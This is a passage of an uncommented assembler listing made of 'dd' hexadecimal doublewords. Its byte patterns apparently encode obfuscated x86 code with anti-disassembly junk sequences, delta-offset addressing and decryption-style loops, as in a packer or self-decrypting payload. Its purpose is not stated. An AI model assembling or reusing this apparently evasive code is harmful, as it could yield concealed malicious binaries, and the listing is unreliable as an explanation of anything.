6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 7A608BC3h, 0DBB70F73h, 44E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 2E449A37h dd 0A8E34664h, 0A619D8Bh, 3050061Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0C99D23C0h, 0F061B1Eh dd 78Ch, 1860F00h, 0F5000000h, 13D1BD83h, 0F03061Bh, 45F85h dd 0BD83F900h, 61EAD99h, 51840F00h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0EFE6C355h, 13E98Ch, 251E0000h, 188B7B2Eh, 0D04886Eh dd 0D3AE2CC3h, 0EF497369h, 99B5FFE9h, 6A061EADh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 91E2C351h, 0BF89E84Ch, 0FF5DCA7Bh, 1B011195h, 85896006h dd 61B0371h, 24CFD681h, 8B6140A2h, 1EAD8DB5h, 68C0F06h dd 8B000000h, 1B2F319Dh, 106C706h, 6A000100h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 28DEC350h, 8B08D7F1h, 575096DFh, 0BE8h, 20DFB400h, 871D82A7h dd 0AAFD1665h, 5B5BC6B3h, 85958996h, 0F5061B19h, 0AD99B5FFh dd 0BF0F061Eh, 0C9BD8BFBh, 0FF061B09h, 1B1BC995h, 0F9B70F06h dd 0AD8DB58Bh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 52BCB4C3h, 759589h, 8B5B061Bh, 1B07019Dh dd 25858B06h, 6A061B0Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 3D96C350h, 0C48689h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 11F4F7C3h, 64C8FDBCh, 0B9BD8B68h, 8B061B01h dd 1B242995h, 2535BF06h, 0C28333B8h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 23D0170Fh dd 3E8135BFh, 0CE962h, 0BD4D0000h, 53BDD876h, 27EEB391h dd 50897183h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 55FE07DEh, 80607AF1h, 8B6680F1h dd 858D61F7h, 61EC0C7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 8CC35040h, 9CEDD909h, 0CC519D65h, 73BF667Ah dd 0B88689D3h, 0E9000000h, 13h, 0FC7A7B8Fh, 75A107E7h dd 4F5D4B06h, 0B14D43BBh, 810E9879h, 0F68E43D3h, 6A006A5Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0E2B1C352h, 0FF541512h, 1EAD99B5h, 21958906h dd 0FF061B12h, 1B142D95h, 0FB8B6606h, 49D78166h, 0FABB96A1h dd 5042A0DAh, 0DE9h, 59A86400h, 0B359090Ch, 6E8B7196h dd 6A9694D9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 302BC357h, 0CE9A9h, 0A8F0000h dd 193DA073h, 0FCB51C76h, 0B5FFF288h, 61EAD99h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B8C35646h, 0B509EE73h dd 61B0939h, 0E71BD8Bh, 95FF061Bh, 61B1B91h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C1C35646h, 0C81BD83h dd 0F00061Bh, 3484h, 6E900h, 77DF0000h, 82F3D63Dh, 89FE8B50h dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 6C4BE7C3h, 0B2D327BFh, 99B5FF51h, 6A061EADh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 6860C355h, 0F418D89h dd 95FF061Bh, 61B0BD5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 39C35242h, 0BD8979BAh, 61B0A85h, 0AD99B5FFh dd 0BD8B061Eh, 61B1135h, 1A0995FFh, 6A061Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 311A6CC3h dd 1B28FD9Dh, 0A5BD8306h, 2061B07h, 3C840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0AB5CE4C3h, 0CBE7EF81h, 858B2F77h, 61B3031h, 3890Fh dd 8B660000h, 0C6DEh, 69E7F781h, 85C71A89h, 61B2BD5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 34C35040h dd 0E9A03CBFh, 10h, 0C327AE18h, 76D0E4CEh, 7E233955h, 6140DD8Bh dd 0FFF415E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 634505Bh, 0E1BB0B94h dd 8B3F5CDBh, 39BD8BC1h, 60061B0Dh, 0F12F081h, 54B60416h dd 0ED858D61h, 0B7061B32h, 0F88A5002h, 0F240489h, 6AFBBFh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F8C35646h dd 33A7C4B7h, 1B32E5BDh, 0F006A06h, 280h, 8DDF8B00h, 20083285h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 14D62E3h, 1B086585h, 5C08306h, 0B61616BBh dd 8B0F901Ch, 8, 8C0F53h, 5B000000h, 8B665650h, 6A905FF9h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 7318C351h, 0FE8E54Eh, 8589F8B7h, 61B0A05h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0D56F3CC3h, 974E75F9h, 0CB81A656h, 540AF19Bh dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 1D2BB9C3h, 6800F60h, 9000000h, 1B0AE985h dd 899D0B06h, 61061B09h, 1A0195FFh, 6A061Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 558153C3h dd 76028C6Ah, 8DE14E97h, 1E92B78Dh, 9355BB06h, 0D1FF40E2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E6C35747h dd 0DFF242CBh, 0B47B31DEh, 9E8h, 0F11A9B00h, 1C240431h dd 8D012DC3h, 61B1915h, 9995895Bh, 83061B06h, 1B1CD5BDh dd 850F0106h, 6Bh, 42C957BBh, 8B026A38h, 1B00059Dh, 8D8D8906h dd 90061B12h, 10E9h, 9A3F4000h, 8E55CD3Ch, 2874B18Eh, 0D40674B7h dd 0EE850E2h, 0E2000000h, 0FAE14BAAh, 0FAC78DA9h, 3444985Fh dd 0DF8B66DAh, 0B589905Bh, 61B3039h, 142D95FFh, 6A061Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E9F085C3h, 0E02h, 0E8h, 0ED815D00h, 620083Ch, 0C9B501F5h dd 8D061B02h, 1E853D85h, 0B9BD8B06h, 50061B18h, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 9B6FC353h, 35FF6497h, 0 dd 6498589h, 8964061Bh, 25h, 89DA8B00h, 1B2A29BDh, 0D85FF06h dd 0F061B2Bh, 589h, 0B70F5200h, 0FF6A5FFEh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 51C35646h, 60F58060h dd 0FFDEA504h, 398D315Eh, 0FF061B06h, 1B02FDB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0D682B6FEh, 595FFEAh, 0E9061B08h, 119h, 8100B0F9h, 667006E3h dd 8970E62Eh, 1B2DF9BDh, 0E971E406h, 11h, 92CF424h, 771C18B9h dd 930E5EF0h, 0A73C94D1h, 0F613CBEh, 0E883h, 46B86000h dd 614E0ACBh, 8BC8B60Fh, 1B2225BDh, 6BA06h, 0BD030000h dd 61B02A9h, 0FE9C18Bh, 9D000000h, 961CE9D0h, 7136BC34h dd 6A84952Bh, 0E8C14CE5h, 2D9D8B04h, 66061B24h, 9589E2F7h dd 61B0F15h, 545EF6BFh, 8BC82B7Ch, 1B10A59Dh, 0E9D18B06h dd 9, 8795A41Ah, 8291402Dh, 83E9D7h, 81660000h, 8B9F38F3h dd 5F4C4C85h, 29BD8B50h, 83061B32h, 0BF0F07C0h, 0C083F9h dd 11830Fh, 0CE90000h, 10000000h, 534381B9h, 24D1431Fh dd 3B21F38Bh, 15830FD0h, 0E9000000h, 5, 611B2FF1h, 3BE9D8h dd 0E3810000h, 162C8C50h, 0FFFF8D8Bh, 0DC8AFFFFh, 0F01E183h dd 2484h, 0D5F38100h, 83550A4Eh, 0FFFFFFA5h, 8501FEFFh dd 61B2FB9h, 0D7DB8166h, 4C958978h, 0F9505F4Ch, 0E9h, 0F7B58D00h dd 6A061F8Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 172C356h, 1B1985BDh, 852B6006h dd 61B0C8Dh, 2F29B509h, 6A61061Bh, 0BBD78100h, 0FF08A07Fh dd 1B220595h, 0E9605106h, 11h, 0B96D6719h, 8B616C04h, 0BA2DF1FEh dd 5B8BAC15h, 0F9950B3Ah, 61061B23h, 0E8FB95Bh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0B8010EC3h, 0E8F90312h, 5, 0BDAAE458h, 880F60FDh, 0 dd 0B5B531h, 5B61061Bh, 6AFCE183h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 63FEC351h dd 0DC440032h, 0D221BCB5h, 50006AFCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 1D5A7E10h dd 3C70C6Fh, 31B589E0h, 0FC061B01h, 0B8h, 0F1BD0100h, 0BA061B18h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3CC35646h dd 0A846E381h, 33AD7046h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 94AD29C3h, 140C4E68h, 2800FFFh, 8B000000h, 55006AFAh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0CBB6E9EAh, 990EEF2h, 9D8B1F25h, 61B0E61h, 301DBD31h dd 880D061Bh, 0F000000h, 688h, 9DBD8B00h, 8B061B19h, 1B242995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 95895198h, 61B1675h, 658D8B5Bh, 33061B07h dd 1B247DBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0D34FC350h, 2A973238h, 0ADDD06DFh dd 22BD9D8Bh, 8B66061Bh, 53006ADEh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 118B0FDEh, 0E8000000h dd 5, 0C35C7C62h, 719D8BEDh, 5B061B12h, 1769BD83h, 0F00061Bh dd 5084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0C5A13782h, 8D296C65h, 61B03F5h dd 0B8h, 9E800h, 0F38B0000h, 0A6B95F21h, 89C63281h, 1B25AD95h dd 8D8D5F06h, 61B4CD3h, 0E1FFFA8Ah, 0EE36E0BFh, 0D1BD837Dh dd 61B13h, 4DB840Fh, 0BD890000h, 61B1305h, 13D1BD83h, 0F01061Bh dd 4E384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0C89CBADAh, 0D1BD838Dh, 3061B13h dd 480860Fh, 85890000h, 61B06D9h, 0C5B50160h, 66061B06h dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 10E978C3h, 57000000h, 0E4830A4h, 0F66D92D5h dd 980B8ADEh, 80442620h, 958904E1h, 61B0D4Dh, 840FC90Ah dd 17Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0F4C35141h, 76276B84h, 10E9BB22h, 4A000000h, 1B0E560Fh dd 24481636h, 7A31AF90h, 8BC073AAh, 1B014585h, 31853306h dd 6A061B2Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 57F3C355h, 0EE8h, 0B9A40E00h dd 985A8B6Dh, 41560839h, 0BB4535D9h, 5521C9BBh, 0D88B505Fh dd 0B7240489h, 6A006AC3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0CEA2C351h, 6890F35h dd 8B000000h, 1B1C919Dh, 4E806h, 3FF0000h, 5250001Fh, 0FFA8B66h dd 5AFB8B31h, 0CE85058h, 53000000h, 67F15823h, 0C9EEBDF5h dd 8B8F8CEDh, 448B5BD8h, 51600424h, 61CA8B5Ah, 0E856008Bh dd 0Fh, 4EA00E6Dh, 65A4EAD4h, 7E14CD15h, 0E81E1B76h, 9 dd 3421C615h, 0A225DA21h, 5B5F5BD7h, 4244489h, 14E960h dd 0F6EB0000h, 2A0C649Ch, 0DB9C9BE6h, 1D2D126Ah, 5D26DB58h dd 0BA665E3Ch, 5861447Ah, 22BDBD8Bh, 820F061Bh, 6, 2B5BD8Bh dd 95FF061Bh, 61B3235h, 998589FCh, 6A061EADh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0FA1FC353h, 0AD456347h, 0CB8166F8h, 44E97641h, 29000002h dd 1B09C9BDh, 91858B06h, 6A061EADh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3E6FC351h dd 0D27B6747h, 3F409BAAh, 11E9h, 2BE6FA00h, 0F5709680h dd 706FF1D0h, 638F6634h, 0C7E98Dh, 18h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 74C35141h, 0B1064BF1h dd 0D281F860h, 75A9CC80h, 95B58B61h, 8B061EADh, 29858BFBh dd 6A061B12h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0FE52C355h, 2BD9529h, 0F52061Bh dd 189h, 895BFC00h, 0A2D38106h, 816B594Ah, 0F8092ADBh dd 45858B16h, 6A061B01h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0D984C350h, 44689D2h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 96C35343h dd 0C8284FB4h, 0E99603A9h, 8, 4B64B98Dh, 31CDE04Bh, 6A9650h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 6FDBBFC3h, 0A840FBAh, 0E9000000h, 5, 342DD352h, 91B5FF0Dh dd 6A061EADh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0EDA2C351h, 625408F7h, 21B9F048h dd 3F98B66h, 1B1301BDh, 4E806h, 3FF0000h, 6DBF001Fh, 50186A13h dd 7E951h, 0B3AF0000h, 6F3909ACh, 448B5BE8h, 52500424h dd 0CE9h, 1EB4000h, 97C06173h, 76CA2AE8h, 50310FCFh, 310F5250h dd 5A5B585Ah, 0E8008B58h, 11h, 61C232C5h, 8EE85B81h, 771F67EBh dd 2F8D01FDh, 5F46B367h, 4244489h, 0E8FB8B60h, 14h, 36542CF1h dd 0DBE42779h, 34E09C52h, 0C918BC96h, 8CEB9D67h, 615EC88Ah dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 4B9B533Fh, 8E9h, 10931F00h, 2E3588B5h, 99858D4Bh dd 0F061EADh, 85h, 8B509000h, 9D8B90D9h, 61B1BB9h, 323595FFh dd 61FC061Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0FDC35747h, 1791BD89h, 85C7061Bh, 61B13D1h, 3 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 80C35242h dd 7F02F7C7h, 0C78133C5h, 629D04F0h, 0AD99BD83h, 0F00061Eh dd 1184h, 0D59D8B00h, 0E9061B0Ch, 21h, 1B6DBD8Bh, 3050061Bh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 6A4ECDh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 89FB45C3h, 1B2ACD9Dh, 0D1BD8306h dd 3061B13h, 3F6850Fh, 0B5010000h, 61B24F9h, 0AD99BD83h dd 0F00061Eh, 3E384h, 99B5FF00h, 6A061EADh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CAE2C351h dd 0AC7ACBBEh, 11195FFh, 6A061Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0CC19C3C3h, 2F6F3602h dd 8D0FF769h, 0Eh, 5E8h, 4E7B0300h, 8B66807Dh, 0B58B5BD8h dd 61EAD8Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 8C35747h, 0C014DFh, 0D98B97C2h, 7E9h, 7BB65900h dd 6C4B8B3h, 106C7h, 62BB0001h, 9668CA10h, 0F98B6650h dd 8996505Bh, 1B0839BDh, 99B5FF06h, 6A061EADh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0E382C356h, 129D9D8Bh, 0BD0B061Bh dd 61B06A1h, 95FFD98Bh, 61B1BC9h, 8E8h, 9B3FA00h, 0F6F8E436h dd 5BD98BF3h, 0AD8DB58Bh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0FDE2CAC3h, 0AE8h, 0DF472600h dd 0D107B5Dh, 0E9DD0F97h, 14h, 7E56FFA6h, 0ACA2F840h, 46B76AEEh dd 7BB25E8Ch, 0CE7D447Fh, 9D29605Bh, 61B0EB9h, 61FEBF0Fh dd 858B3BB7h, 61B0D25h, 4800Fh, 0BB660000h, 8689F452h dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 8EC35242h, 9BDC4205h, 9D8B2242h, 61B1F35h, 2429958Bh dd 8D89061Bh, 61B2B7Dh, 8904C283h, 1B01998Dh, 20508906h dd 99D8B51h, 5F061B0Eh, 0C0C7858Dh, 6A061Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A64D56C3h dd 89F9BC5Dh, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 3AFBF184h, 0A5B509E5h dd 0BF061B0Dh, 54749571h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B2E741C3h, 9D09D2EAh dd 61B089Dh, 0AD99B5FFh, 9589061Eh, 61B065Dh, 142D95FFh dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0BBBB11C3h, 7D5C0F3Fh, 12D98509h, 8A50061Bh dd 243489FCh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0FDC35646h, 0E1738149h, 0BD03F812h, 61B24F9h, 0AD99B5FFh dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 8847C9C3h, 1DBB7B57h, 0F58D8E1h, 8D89DFBFh dd 61B1BD5h, 1B9195FFh, 0B589061Bh, 61B077Dh, 0C81BD83h dd 0F00061Bh, 3F84h, 0D8BF0F00h, 0D98B6696h, 84BF6650h dd 6A96F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 7C6862C3h, 0C4DA0602h, 0D88B4118h, 6810Fh dd 8D890000h, 61B23B1h, 0AD99B5FFh, 9D8B061Eh, 61B2FD5h dd 0BD595FFh, 0BF0F061Bh, 99B5FFFAh, 6A061EADh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 95F8C355h, 5FFC12B3h, 6060572Ah, 6D5BF5BAh, 0D1BD8B66h dd 61061B21h, 1C95B589h, 0FF61061Bh, 1B1A0995h, 0BDBD2B06h dd 83061B0Bh, 1B07A5BDh, 840F0206h, 41h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 55C35242h, 99C8D9Ch dd 1B21059Dh, 1EBB6606h, 31858B1Eh, 0F061B30h, 880h, 28F0F00h dd 0B7000000h, 0C6A0h, 0D585C7F5h, 61B2Bh, 0BF000000h dd 608B9010h, 0FFF279E9h, 0C38166FFh, 0C18B218Eh, 158589h dd 858D061Bh, 61B32EDh, 18B99589h, 6050061Bh, 0A52DA7BBh dd 4896138h, 4EC2BF24h, 6A17EFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0E6C35141h, 0FB7C8FB9h, 11199D0Bh dd 6A061Bh, 75BD89F9h, 8D061B2Ch, 20183585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 677739C1h, 0BB73732Bh, 0EDBD0952h, 5B061B08h, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0F7A1C357h, 8501222Ch, 61B21DDh, 8341BF90h dd 905054F4h, 6AF98B66h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 84DA462Dh, 0BACCDF81h dd 0B58960C2h, 61B16D5h, 13E9h, 0A070BB00h, 4312F810h dd 0B688205Ah, 53093624h, 0FCA02CBDh, 0E960006Ah, 11h dd 0FE81BAB1h, 0B2E94E2Fh, 1525EACh, 77271214h, 0B59D8995h dd 61061B22h, 1A0195FFh, 0B70F061Bh, 0B78D8DFBh, 8B061E92h dd 1B2B719Dh, 6AD1FF06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0C643C352h, 0E9610537h dd 0Eh, 0AB77DD40h, 6F3D8671h, 0DC7EBA2Ch, 0CF8101F7h dd 3FDEC0F1h, 1CD5BD83h, 0F01061Bh, 8985h, 0FD858900h dd 6A061B23h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0C59D8B55h, 50061B2Ah, 14E860h, 420E0000h dd 6C9563D7h, 8CF8EA20h, 819151A8h, 0F69BB0EBh, 0BA6611CCh dd 8B5BCDA5h, 48961FBh, 0DABF0F24h, 142D95FFh, 6A061Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E2DB14C3h, 716CF4E4h, 0BD8BB901h, 61B1111h, 11FD9D8Bh dd 0B0E9061Bh, 0E800000Dh, 0 dd 3FED815Dh, 0BF062018h, 74C17E22h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 89C35040h, 9228A9EFh, 0EC3681C2h dd 0F78122B7h, 1EDB1A68h, 853D858Dh, 6A061Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0E89003C3h dd 0Bh, 163B9318h, 0ACA4D37Bh, 0BF84E9E8h, 5477B40Eh, 8B90505Fh dd 1B2D4D9Dh, 35FF6406h, 0 dd 0DE9h, 7A4B5500h, 5EB4972Ch, 25F2E02Ah, 8964A08Ah, 25h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0A5B69B70h, 6800FB8h, 89000000h, 1B1B7595h dd 0CB816606h, 85FFE0A9h, 61B2B0Dh, 81FF6AF9h, 6C6358DBh dd 0DDB5FF0Ah, 6A061B18h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 5144C355h, 0C8F83675h dd 72568B19h, 95FFD88Bh, 61B0805h, 112E9h, 0B0D98B00h dd 0DEBF0F00h, 8B6670E6h, 6671E4DFh, 302DC381h, 830F613Ch dd 0F7h, 8E8h, 71941400h, 259E70B9h, 81BB66AEh, 0B60F5F15h dd 6BAC8h, 0BF660000h, 0C18BE321h, 33219D8Bh, 0E8C1061Bh dd 0BD8B5704h, 61B0C41h, 4543BF5Bh, 0F7667917h, 0ED8589E2h dd 2B061B1Ch, 0D0EF80C8h, 11E9D18Bh, 39000000h, 0C4775074h dd 0C0BDDFE7h, 55625BD3h, 59A3D4CDh, 96E9h, 0CE800h, 0EF870000h dd 0D67280E7h, 717A6E1Ah, 8B0F9DA7h, 6, 1C98D89h, 8B5F061Bh dd 47554C85h, 97BBBB49h, 0C0834405h, 6127BF07h, 0F88B282Dh dd 8900C083h, 1B0F1595h, 0FD03B06h, 1F83h, 9E800h, 30810000h dd 8341E02Fh, 66AA746Bh, 4E4ED781h, 39E95Fh, 9D8B0000h dd 61B20E5h, 0FFFF8D8Bh, 0EF81FFFFh, 593D33BAh, 0F01E183h dd 1E84h, 0A583FC00h, 0FFFFFFFFh, 0C58509FEh, 89061B16h dd 47554C95h, 0F7816649h, 0E91589h, 8D000000h, 1F9B86B5h dd 1E870F06h, 0E8000000h, 0Bh, 3BD3A029h, 31C26256h, 0E9BED7B7h dd 8, 0C1AFA075h, 0D18DBB81h, 0E9006A5Fh, 9, 29002D47h dd 892021FAh, 595FF67h, 6A061B22h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9AD9C355h dd 0BC830416h, 669C61F7h, 8166DA8Bh, 0B9F58CCFh, 0F81h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 96C35242h dd 0E6F70BF7h, 0AB3A598Eh, 0E781666Ah, 0E1836CCBh, 4DBD8BFCh dd 0FC061B19h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 605027B5h, 0D22BFA8Ah dd 2699D03h, 33AD061Bh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0AD6905C3h, 0E27443D4h, 11E977h, 2CA10000h, 100337A4h dd 6FD1BC45h, 30E07850h, 196A634h, 1B0699B5h, 0FABF0F06h dd 880Dh, 29958B00h, 6A061B24h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 89B1C352h, 1B23B1BDh dd 658D8B06h, 6A061B07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0EB53C356h, 0DA8BBAAAh dd 97DBC381h, 8B502B38h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6ADBB70Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 8DD8C356h, 8BAE4900h dd 1B07F19Dh, 69BD8306h, 61B17h, 5D840Fh, 8B660000h, 0B8F9F9h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0CC05C356h, 8B183FCEh, 8D90B3FBh dd 1B4CD38Dh, 0EF816606h, 0E1FFE751h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 6DC35343h, 0BF54C3B5h, 8358DF9Ch dd 1B13D1BDh, 840F0006h, 41Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0B7C35040h, 14708F7Dh, 8010D8F3h dd 83DE8BC5h, 1B13D1BDh, 840F0106h, 404h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B6C35646h, 513C5E6Eh dd 0BD8B52BDh, 61B1671h, 13D1BD83h, 0F03061Bh, 39986h dd 8E800h, 6DB60000h, 12C53CD2h, 12E9A5CEh, 7E000000h dd 0A3BC6FCDh, 2AAAFB01h, 0C0341AF4h, 351328E0h, 6A605F47h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8BE3C356h, 1B00759Dh, 0D88B6606h, 2E698D89h dd 8C66061Bh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0BB66548Eh, 0BB665402h, 0E180CCD0h dd 5DBD2304h, 0A061B24h, 35840FC9h, 66000001h, 8BC452BFh dd 1B014585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0D614A51Ah, 6DE194C4h, 2A318533h dd 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 9C3355C3h, 0BD0B60F3h, 61B0A79h, 73BF6650h dd 24048985h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 96C35040h, 0F88BC966h, 68D0Fh, 9D0B0000h, 61B2D81h dd 6A006Ah, 3E851h, 